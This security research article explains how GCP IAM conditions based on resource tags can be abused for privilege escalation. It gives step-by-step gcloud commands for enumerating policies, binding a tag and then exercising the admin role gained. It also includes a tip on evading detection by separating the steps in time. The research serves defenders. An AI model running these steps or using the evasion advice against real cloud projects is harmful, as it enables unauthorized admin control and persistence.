Article by Ariel Kalman
Tag Your Way In - GCP Privilege Escalation Using Tags
-
Original Research
GCP IAM Conditions allow fine-grained access control using context like time, resource type, and tags—but those same tags can enable unexpected privilege escalation. In this post, we show how a user with only viewer and tagUser roles can escalate to full admin access without changing any IAM policy.
Background¶
Conditional Access Based on Tags¶
In GCP, IAM policies control access by assigning roles to members on resources, optionally using conditions based on request time, IP address, or resource tags. Tags are key-value pairs that can be inherited and used in IAM Conditions, such as resource.matchTag('env', 'sandbox'), to enforce fine-grained access control.
For example, this is an IAM policy with a resource tag condition:
{
"bindings": [
{
"condition": {
"description": "Only allow access if a resource is tagged env=sandbox",
"expression": "resource.matchTag('env', 'sandbox')",
"title": "SandboxTagCondition"
},
"members": [
"group:sandbox_users@**************"
],
"role": "roles/compute.admin"
}
}
TagBindings and Role-Based Tag Management¶
Tags are attached to resources using tagBindings, which link a resource to a specific tagValue.
Tag Management Roles¶
In GCP, tag management access is controlled using the following IAM roles:
Tip
To evade detection, an attacker could perform the tag binding and the privileged action in separate sessions or with a time gap greater than X minutes, breaking the detectable sequence used in correlation rules
How to Exploit¶
1. Enumerate IAM Policies¶
gcloud projects get-iam-policy <PROJECT_ID>
roles/resourcemanager.projects.getIamPolicy
Impact: Discover IAM bindings and tag-based conditions
2. List Available Tags¶
gcloud resource-manager tags keys list --parent=folders/<FOLDER_ID>
gcloud resource-manager tags values list --parent=tagKeys/<TAG_KEY_ID>
roles/resourcemanager.tagUser
Impact: Enumerate tag keys and values.
3. Bind Tags to Resource¶
gcloud resource-manager tags bindings create \
--tag-value=tagValues/<TAG_VALUE_ID> \
--parent=//cloudresourcemanager.googleapis.com/projects/<PROJECT_ID>
roles/resourcemanager.tagUser
Impact: Attach tags to satisfy IAM conditions.
4. Exploit Conditional Access¶
gcloud compute instances delete-access-config instance-<INSTANCE_NAME> \
--zone=us-central1-c \
--access-config-name="External NAT" \
--network-interface=nic0
roles/compute.admin
Impact: A privileged operation succeeded using elevated permissions (in this case, the removal of a public IP address from a GCE instance).
Warning
The granted privileged role depends entirely on the IAM policy. If the policy assigns roles/compute.admin
to resources with the tag, that's what the attacker gets, but it could just as easily be roles/compute.viewer
or any other role.
Impact¶
This privilege escalation technique can lead to unauthorized access, full admin control over key services, and long-term persistence by exploiting dynamic tag-based IAM conditions. It’s a realistic risk: public Terraform modules frequently assign the tagUser role to non-admins like CI/CD accounts or integration service accounts, as seen in examples from terraform-example-foundation and cloud-foundation-fabric.
Note
For a deeper technical walkthrough, check out the full blog post or contact me for more information.